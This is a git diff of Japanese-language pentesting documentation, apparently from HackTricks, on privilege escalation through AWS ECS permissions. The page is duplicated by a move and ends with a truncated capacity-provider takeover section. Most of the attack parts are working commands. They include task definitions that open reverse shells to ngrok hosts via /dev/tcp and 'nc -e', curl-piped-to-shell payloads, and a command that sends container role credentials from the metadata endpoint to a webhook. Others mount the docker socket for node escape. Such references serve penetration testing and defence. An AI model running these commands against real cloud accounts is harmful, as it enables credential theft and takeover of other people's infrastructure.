---cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
---launch-type FARGATE \
---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
-
-# Delete task definition
-## You need to remove all the versions (:1 is enough if you just created one)
-aws ecs deregister-task-definition --task-definition iam_exfiltration:1
-```
-{{#endtab }}
-
-{{#tab name="Webhook" }}
-
-webhook.site のようなサイトで webhook を作成する
-```bash
-
-# Create file container-definition.json
-[
-{
-"name": "exfil_creds",
-"image": "python:latest",
-"entryPoint": ["sh", "-c"],
-"command": [
-"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
-]
-}
-]
-
-# Run task definition, uploading the .json file
-aws ecs register-task-definition \
---family iam_exfiltration \
---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
---network-mode "awsvpc" \
---cpu 256 \
---memory 512 \
---requires-compatibilities FARGATE \
---container-definitions file://container-definition.json
-
-# Check the webhook for a response
-
-# Delete task definition
-## You need to remove all the versions (:1 is enough if you just created one)
-aws ecs deregister-task-definition --task-definition iam_exfiltration:1
-
-```
-{{#endtab }}
-
-{{#endtabs }}
-
-**潜在的影響:** 別の ECS ロールへの直接的な privesc。
-
-### `iam:PassRole`,`ecs:RunTask`
-`iam:PassRole` と `ecs:RunTask` 権限を持つ攻撃者は、修正した **execution role**、**task role**、およびコンテナの **command** を指定して新しい ECS タスクを起動できます。`ecs run-task` CLI コマンドは `--overrides` フラグを持ち、task definition を触らずに実行時に `executionRoleArn`、`taskRoleArn`、およびコンテナの `command` を変更できます。
-
-`taskRoleArn` と `executionRoleArn` に指定する IAM ロールは、信頼ポリシーで `ecs-tasks.amazonaws.com` によって引き受けられる（assume を許可されている）必要があります。
-
-また、攻撃者は次の情報を知っている必要があります:
-- ECS クラスター名
-- VPC サブネット
-- セキュリティグループ（指定しない場合はデフォルトが使用される）
-- Task Definition の名前とリビジョン
-- コンテナ名
-```bash
-aws ecs run-task \
---cluster <cluster-name> \
---launch-type FARGATE \
---network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
---task-definition <task-definition:revision> \
---overrides '
-{
-"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
-"containerOverrides": [
-{
-"name": <container-name>,
-"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
-}
-]
-}'
-```
-上のコードスニペットでは攻撃者は `taskRoleArn` の値のみを上書きしています。しかし攻撃を実行するには、攻撃者はコマンドで指定された `taskRoleArn` およびタスク定義で指定された `executionRoleArn` に対して `iam:PassRole` 権限を持っている必要があります。
-
-攻撃者が渡せる IAM ロールが ECR イメージをプルして ECS タスクを起動するのに十分な権限（`ecr:BatchCheckLayerAvailability`、`ecr:GetDownloadUrlForLayer`、`ecr:BatchGetImage`、`ecr:GetAuthorizationToken`）を持っている場合、攻撃者は `ecs run-task` コマンドで `executionRoleArn` と `taskRoleArn` の両方に同じ IAM ロールを指定できます。
-```sh
-aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
-{
-"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
-"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
-"containerOverrides": [
-{
-"name": "<container-name>",
-"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
-}
-]
-}'
-```
-**Potential Impact:** 任意の ECS task role への直接 privesc。
-
-### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
-
-前の例と同様に、攻撃者が ECS で **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** 権限を悪用すると、メタデータ資格情報を盗む **malicious container** を含む **generate a new task definition** を作成して、**run it** できます。\
-ただし、この場合、悪意のある task definition を実行するための container instance が必要になります。
-```bash
-# Generate task definition with rev shell
-aws ecs register-task-definition --family iam_exfiltration \
---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
---network-mode "awsvpc" \
---cpu 256 --memory 512\
---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
-
-aws ecs start-task --task-definition iam_exfiltration \
---container-instances <instance_id>
-
-# Delete task definition
-## You need to remove all the versions (:1 is enough if you just created one)
-aws ecs deregister-task-definition --task-definition iam_exfiltration:1
-```
-**Potential Impact:** 任意の ECS ロールへの直接的な権限昇格。
-
-### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
-
-前の例と同様に攻撃者がECSで**`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`**または**`ecs:CreateService`**権限を悪用すると、**新しいタスク定義を生成**し、**メタデータ資格情報を盗む悪意のあるコンテナ**を含めて、それを**少なくとも1つのタスクを稼働させる新しいサービスを作成して実行する**ことができます。
-```bash
-# Generate task definition with rev shell
-aws ecs register-task-definition --family iam_exfiltration \
---task-role-arn  "$ECS_ROLE_ARN" \
---network-mode "awsvpc" \
---cpu 256 --memory 512\
---requires-compatibilities "[\"FARGATE\"]" \
---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
-
-# Run the task creating a service
-aws ecs create-service --service-name exfiltration \
---task-definition iam_exfiltration \
---desired-count 1 \
---cluster "$CLUSTER_ARN" \
---launch-type FARGATE \
---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
-
-# Run the task updating a service
-aws ecs update-service --cluster <CLUSTER NAME> \
---service <SERVICE NAME> \
---task-definition <NEW TASK DEFINITION NAME>
-```
-**Potential Impact:** 任意の ECS role への直接的な privesc.
-
-### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
-
-実際には、これらの権限だけで overrides を使用して任意の role を使ったコンテナ内で任意のコマンドを実行することが可能です。例えば：
-```bash
-aws ecs run-task \
---task-definition "<task-name>" \
---overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
---cluster <cluster-name> \
---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
-```
-**Potential Impact:** 任意の ECS role への Direct privesc。
-
-### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
-
-このシナリオは前のものと似ていますが、**`iam:PassRole`** 権限が**ありません**。\
-role がなくても任意の container を実行できるなら、**run a privileged container to escape** して node に抜け出し、**steal the EC2 IAM role** や node 上で動作している他の **ECS containers roles** を盗むことができます。\
-侵害した EC2 インスタンス内で他のタスクを実行させてそれらの資格情報を盗むように、**force other tasks to run inside the EC2 instance** ことも可能です（詳細は [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node) を参照）。
-
-> [!WARNING]
-> この攻撃は **ECS cluster is using EC2** インスタンスでのみ可能で、Fargate では不可能です。
-```bash
-printf '[
-{
-"name":"exfil_creds",
-"image":"python:latest",
-"entryPoint":["sh", "-c"],
-"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
-"mountPoints": [
-{
-"readOnly": false,
-"containerPath": "/var/run/docker.sock",
-"sourceVolume": "docker-socket"
-}
-]
-}
-]' > /tmp/task.json
-
-printf '[
-{
-"name": "docker-socket",
-"host": {
-"sourcePath": "/var/run/docker.sock"
-}
-}
-]' > /tmp/volumes.json
-
-
-aws ecs register-task-definition --family iam_exfiltration \
---cpu 256 --memory 512 \
---requires-compatibilities '["EC2"]' \
---container-definitions file:///tmp/task.json \
---volumes file:///tmp/volumes.json
-
-
-aws ecs run-task --task-definition iam_exfiltration \
---cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
---launch-type EC2
-
-# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
-```
-### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
-
-`ecs:ExecuteCommand`, `ecs:DescribeTasks` を持つ攻撃者は、実行中のコンテナ内でコマンドを実行し、そのコンテナに紐づいた IAM ロールを持ち出すことができます（`aws ecs execute-command` を実行するには describe 権限が必要です）。\
-ただし、そのためにはコンテナインスタンス上で **ExecuteCommand agent** が動作している必要があります（デフォルトでは動作していません）。
-
-したがって、攻撃者は次のことを試みる可能性があります:
-
-- 実行中のすべてのコンテナで **コマンドの実行を試みる**
-```bash
-# List enableExecuteCommand on each task
-for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
-echo "Cluster $cluster"
-for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
-echo "  Task $task"
-# If true, it's your lucky day
-aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
-done
-done
-
-# Execute a shell in a container
-aws ecs execute-command --interactive \
---command "sh" \
---cluster "$CLUSTER_ARN" \
---task "$TASK_ARN"
-```
-- もし **`ecs:RunTask`** 権限があれば、`aws ecs run-task --enable-execute-command [...]` でタスクを実行できます
-- もし **`ecs:StartTask`** 権限があれば、`aws ecs start-task --enable-execute-command [...]` でタスクを実行できます
-- もし **`ecs:CreateService`** 権限があれば、`aws ecs create-service --enable-execute-command [...]` でサービスを作成できます
-- もし **`ecs:UpdateService`** 権限があれば、`aws ecs update-service --enable-execute-command [...]` でサービスを更新できます
-
-これらのオプションの**例**は**以前の ECS privesc セクション**で確認できます。
-
-**Potential Impact:** コンテナにアタッチされた別のロールへの Privesc。
-
-### `ssm:StartSession`
-
-この権限を悪用して **privesc to ECS** する方法は、**ssm privesc page** を確認してください：
-
-{{#ref}}
-aws-ssm-privesc.md
-{{#endref}}
-
-### `iam:PassRole`, `ec2:RunInstances`
-
-これらの権限を悪用して **privesc to ECS** する方法は、**ec2 privesc page** を確認してください：
-
-{{#ref}}
-aws-ec2-privesc.md
-{{#endref}}
-
-### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
-
-これらの権限を持つ攻撃者は、ECS クラスターに EC2 インスタンスを登録してその上でタスクを実行する可能性があります。これにより攻撃者は ECS タスクのコンテキスト内で任意のコードを実行できるようになる可能性があります。
-
-- TODO: 別の AWS アカウントからインスタンスを登録して、タスクが攻撃者が管理するマシン上で実行されるようにすることは可能か??
-
-### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
-
-> [!NOTE]
-> TODO: Test this
-
-これらの権限（`ecs:CreateTaskSet`、`ecs:UpdateServicePrimaryTaskSet`、`ecs:DescribeTaskSets`）を持つ攻撃者は、既存の ECS サービスに対して **悪意のあるタスクセットを作成し主要なタスクセットを更新する** ことができます。これにより攻撃者はサービス内で **任意のコードを実行する** ことが可能になります。
-```bash
-# Register a task definition with a reverse shell
-echo '{
-"family": "malicious-task",
-"containerDefinitions": [
-{
-"name": "malicious-container",
-"image": "alpine",
-"command": [
-"sh",
-"-c",
-"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
-]
-}
-]
-}' > malicious-task-definition.json
-
-aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json
-
-# Create a malicious task set for the existing service
-aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
-
-# Update the primary task set for the service
-aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
-```
-**潜在的な影響**: 影響を受けたサービスで任意のコードを実行でき、その機能に影響を与えたり、機密データを持ち出す可能性があります。
-
-## 参考
-
-- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md
new file mode 100644
index 000000000..e0f0451f8
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md
@@ -0,0 +1,553 @@
+# AWS - ECS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECS
+
+ECSに関する**詳細情報**は以下を参照:
+
+{{#ref}}
+../../aws-services/aws-ecs-enum.md
+{{#endref}}
+
+### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
+
+ECSで`iam:PassRole`、`ecs:RegisterTaskDefinition`、`ecs:RunTask`の権限を悪用する攻撃者は、メタデータ認証情報を窃取する**悪意あるコンテナ**を含む**新しいタスク定義を生成**し、それを**実行**できます。
+
+{{#tabs }}
+{{#tab name="Reverse Shell" }}
+```bash
+# Generate task definition with rev shell
+aws ecs register-task-definition --family iam_exfiltration \
+--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
+--network-mode "awsvpc" \
+--cpu 256 --memory 512\
+--requires-compatibilities "[\"FARGATE\"]" \
+--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
+
+# Run task definition
+aws ecs run-task --task-definition iam_exfiltration \
+--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
+--launch-type FARGATE \
+--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
+
+# Delete task definition
+## You need to remove all the versions (:1 is enough if you just created one)
+aws ecs deregister-task-definition --task-definition iam_exfiltration:1
+```
+{{#endtab }}
+
+{{#tab name="Webhook" }}
+
+webhook.site のようなサイトで webhook を作成する
+```bash
+
+# Create file container-definition.json
+[
+{
+"name": "exfil_creds",
+"image": "python:latest",
+"entryPoint": ["sh", "-c"],
+"command": [
+"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
+]
+}
+]
+
+# Run task definition, uploading the .json file
+aws ecs register-task-definition \
+--family iam_exfiltration \
+--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
+--network-mode "awsvpc" \
+--cpu 256 \
+--memory 512 \
+--requires-compatibilities FARGATE \
+--container-definitions file://container-definition.json
+
+# Check the webhook for a response
+
+# Delete task definition
+## You need to remove all the versions (:1 is enough if you just created one)
+aws ecs deregister-task-definition --task-definition iam_exfiltration:1
+
+```
+{{#endtab }}
+
+{{#endtabs }}
+
+**Potential Impact:** 別の ECS ロールへの直接 privesc.
+
+### `iam:PassRole`,`ecs:RunTask`
+`iam:PassRole` と `ecs:RunTask` の権限を持つ攻撃者は、**実行ロール**、**タスクロール**、およびコンテナの**コマンド**を変更した状態で新しい ECS タスクを起動できます。`ecs run-task` CLI コマンドには `--overrides` フラグがあり、タスク定義を変更せずに実行時に `executionRoleArn`、`taskRoleArn`、およびコンテナの `command` を変更できます。
+
+指定された `taskRoleArn` と `executionRoleArn` の IAM ロールは、トラストポリシーで `ecs-tasks.amazonaws.com` によるアサンプションを許可している必要があります。
+
+また、攻撃者は以下を知っている必要があります:
+- ECS クラスター名
+- VPC サブネット
+- セキュリティグループ（セキュリティグループが指定されていない場合はデフォルトのものが使用されます）
+- Task Definition 名とリビジョン
+- コンテナ名
+```bash
+aws ecs run-task \
+--cluster <cluster-name> \
+--launch-type FARGATE \
+--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
+--task-definition <task-definition:revision> \
+--overrides '
+{
+"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+"containerOverrides": [
+{
+"name": <container-name>,
+"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
+}
+]
+}'
+```
+上のコードスニペットでは、攻撃者は `taskRoleArn` の値だけを上書きしています。ただし、この攻撃を行うには、攻撃者がコマンドで指定した `taskRoleArn` とタスク定義で指定された `executionRoleArn` の両方に対して `iam:PassRole` 権限を持っている必要があります。
+
+攻撃者が渡せる IAM ロールが ECR イメージをプルして ECS タスクを起動するのに十分な権限（`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`）を持っている場合、攻撃者は `ecs run-task` コマンドで `executionRoleArn` と `taskRoleArn` の両方に同じ IAM ロールを指定できます。
+```sh
+aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
+{
+"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
+"containerOverrides": [
+{
+"name": "<container-name>",
+"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
+}
+]
+}'
+```
+**Potential Impact:** 任意の ECS task role への直接的な privesc。
+
+### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
+
+前の例と同様に、攻撃者が ECS 上で **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** の権限を悪用すると、**generate a new task definition** を作成し、**malicious container** によって metadata credentials を盗んで **run it** できます。\
+ただし、この場合、malicious task definition を実行するための container instance が必要です。
+```bash
+# Generate task definition with rev shell
+aws ecs register-task-definition --family iam_exfiltration \
+--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
+--network-mode "awsvpc" \
+--cpu 256 --memory 512\
+--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
+
+aws ecs start-task --task-definition iam_exfiltration \
+--container-instances <instance_id>
+
+# Delete task definition
+## You need to remove all the versions (:1 is enough if you just created one)
+aws ecs deregister-task-definition --task-definition iam_exfiltration:1
+```
+**Potential Impact:** 任意の ECS ロールへの直接 privesc.
+
+### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
+
+前の例と同様に、攻撃者が ECS で **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** または **`ecs:CreateService`** 権限を悪用すると、**新しいタスク定義を生成**し、**悪意のあるコンテナ**を含めてメタデータ認証情報を盗み、**少なくとも1つのタスクが稼働する新しいサービスを作成してそれを実行する**ことができます。
+```bash
+# Generate task definition with rev shell
+aws ecs register-task-definition --family iam_exfiltration \
+--task-role-arn  "$ECS_ROLE_ARN" \
+--network-mode "awsvpc" \
+--cpu 256 --memory 512\
+--requires-compatibilities "[\"FARGATE\"]" \
+--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
+
+# Run the task creating a service
+aws ecs create-service --service-name exfiltration \
+--task-definition iam_exfiltration \
+--desired-count 1 \
+--cluster "$CLUSTER_ARN" \
+--launch-type FARGATE \
+--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
+
+# Run the task updating a service
+aws ecs update-service --cluster <CLUSTER NAME> \
+--service <SERVICE NAME> \
+--task-definition <NEW TASK DEFINITION NAME>
+```
+**潜在的な影響:** 任意の ECS role への直接 privesc。
+
+### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
+
+
+実際、これらの権限があれば、overrides を使って任意の role を持つコンテナ内で任意のコマンドを実行することが可能で、例えば次のようにできます:
+```bash
+aws ecs run-task \
+--task-definition "<task-name>" \
+--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
+--cluster <cluster-name> \
+--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
+```
+**潜在的影響:** Direct privesc to any ECS role.
+
+### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
+
+このシナリオは前のものと似ていますが、**`iam:PassRole`** 権限がありません。\
+これは依然として重要です。任意のコンテナを実行できる場合、たとえロールがなくても、**run a privileged container to escape** してノードにアクセスし、**steal the EC2 IAM role** やノード上で実行されている **other ECS containers roles** を奪うことができます。\
+さらに、侵害した EC2 インスタンス内で **force other tasks to run inside the EC2 instance** ように他のタスクを強制実行して、それらの資格情報を盗むことも可能です（詳細は [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node) を参照）。
+
+> [!WARNING]
+> この攻撃は、**ECS クラスターが EC2 インスタンスを使用している** 場合にのみ可能で、Fargate では実行できません。
+```bash
+printf '[
+{
+"name":"exfil_creds",
+"image":"python:latest",
+"entryPoint":["sh", "-c"],
+"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
+"mountPoints": [
+{
+"readOnly": false,
+"containerPath": "/var/run/docker.sock",
+"sourceVolume": "docker-socket"
+}
+]
+}
+]' > /tmp/task.json
+
+printf '[
+{
+"name": "docker-socket",
+"host": {
+"sourcePath": "/var/run/docker.sock"
+}
+}
+]' > /tmp/volumes.json
+
+
+aws ecs register-task-definition --family iam_exfiltration \
+--cpu 256 --memory 512 \
+--requires-compatibilities '["EC2"]' \
+--container-definitions file:///tmp/task.json \
+--volumes file:///tmp/volumes.json
+
+
+aws ecs run-task --task-definition iam_exfiltration \
+--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
+--launch-type EC2
+
+# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
+```
+### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
+
+攻撃者が **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** を持っていると、実行中のコンテナ内で**コマンドを実行**し、そのコンテナに紐づく IAM ロールを外部へ持ち出すことができます（`aws ecs execute-command` を実行するには describe 権限が必要なため、`ecs:DescribeTasks` が必要です）。\
+しかし、そのためにはコンテナインスタンスで **ExecuteCommand agent** が稼働している必要があります（デフォルトでは稼働していません）。
+
+したがって、攻撃者は次のことを試みるでしょう：
+
+- **各実行中コンテナでコマンドを実行してみる**
+```bash
+# List enableExecuteCommand on each task
+for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
+echo "Cluster $cluster"
+for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
+echo "  Task $task"
+# If true, it's your lucky day
+aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
+done
+done
+
+# Execute a shell in a container
+aws ecs execute-command --interactive \
+--command "sh" \
+--cluster "$CLUSTER_ARN" \
+--task "$TASK_ARN"
+```
+- もし **`ecs:RunTask`** を持っている場合、`aws ecs run-task --enable-execute-command [...]` でタスクを実行する
+- もし **`ecs:StartTask`** を持っている場合、`aws ecs start-task --enable-execute-command [...]` でタスクを実行する
+- もし **`ecs:CreateService`** を持っている場合、`aws ecs create-service --enable-execute-command [...]` でサービスを作成する
+- もし **`ecs:UpdateService`** を持っている場合、`aws ecs update-service --enable-execute-command [...]` でサービスを更新する
+
+これらのオプションの例は、以前の ECS privesc セクションで確認できます。
+
+**Potential Impact:** コンテナにアタッチされた別のロールへの privesc
+
+### `ssm:StartSession`
+
+**ssm privesc ページ**で、この権限をどのように悪用して **ECS に privesc** できるか確認してください:
+
+{{#ref}}
+../aws-ssm-privesc/README.md
+{{#endref}}
+
+### `iam:PassRole`, `ec2:RunInstances`
+
+**ec2 privesc ページ**で、これらの権限をどのように悪用して **ECS に privesc** できるか確認してください:
+
+{{#ref}}
+../aws-ec2-privesc/README.md
+{{#endref}}
+
+### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
+
+これらの権限を持つ攻撃者は、ECS クラスターに EC2 インスタンスを登録し、その上でタスクを実行できる可能性があります。これにより、攻撃者は ECS タスクのコンテキスト内で任意のコードを実行できるようになります。
+
+- TODO: 他の AWS アカウントからインスタンスを登録して、タスクが攻撃者が制御するマシン上で実行されるようにすることは可能か??
+
+### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
+
+> [!NOTE]
+> TODO: テストする
+
+`ecs:CreateTaskSet`、`ecs:UpdateServicePrimaryTaskSet`、`ecs:DescribeTaskSets` の権限を持つ攻撃者は、既存の ECS サービスに対して悪意のある task set を作成し、primary task set を更新することができます。これにより、攻撃者はサービス内で任意のコードを実行できるようになります。
+```bash
+# Register a task definition with a reverse shell
+echo '{
+"family": "malicious-task",
+"containerDefinitions": [
+{
+"name": "malicious-container",
+"image": "alpine",
+"command": [
+"sh",
+"-c",
+"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
+]
+}
+]
+}' > malicious-task-definition.json
+
+aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json
+
+# Create a malicious task set for the existing service
+aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
+
+# Update the primary task set for the service
+aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
+```
+**潜在的な影響**: 影響を受けたサービスで任意のコードを実行でき、その機能に影響を与えたり、機密データを持ち出したりする可能性があります。
+
+## 参照
+
+- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### 悪意ある Capacity Provider を使った ECS スケジューリングのハイジャック (EC2 ASG takeover)
+
+ECS capacity providers を管理しサービスを更新する権限を持つ攻撃者は、自分で制御する EC2 Auto Scaling Group を作成し、それを ECS Capacity Provider にラップしてターゲットのクラスターに関連付け、被害者のサービスをこのプロバイダーに移行させることができます。するとタスクは攻撃者が制御する EC2 インスタンス上にスケジュールされ、OS レベルでコンテナを調査したりタスクのロール資格情報を窃取したりすることが可能になります。
+
+Commands (us-east-1):
+
+- 前提条件
+
+
+
+- target cluster に参加するための ECS agent 用 Launch Template を作成
+
+
+
+- Auto Scaling Group を作成
+
+
+
+- ASG から Capacity Provider を作成
+
+
+
+- Capacity Provider をクラスターに関連付け（必要に応じてデフォルトとして）
+
+
+
+- サービスを自分のプロバイダーに移行
+
+
+
+- タスクが攻撃者インスタンスに配置されることを確認
+
+
+
+- オプション: EC2 ノードから docker exec でターゲットコンテナに入り、http://169.254.170.2 を読み取って task role credentials を取得。
+
+- クリーンアップ
+
+
+
+**潜在的な影響:** 攻撃者管理下の EC2 ノードが被害者のタスクを受け取り、コンテナへの OS レベルのアクセスとタスクの IAM ロール資格情報の窃取を可能にします。
+
+
+<details>
+<summary>手順別コマンド（コピー/ペースト）</summary>
+<pre>
+export AWS_DEFAULT_REGION=us-east-1
+CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster
+# Instance profile for ECS nodes
+aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true
+aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true
+aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true
+aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || true
+
+VPC=vpc-18e6ac62
+SUBNETS=
+
+AMI=ami-0b570770164588ab4
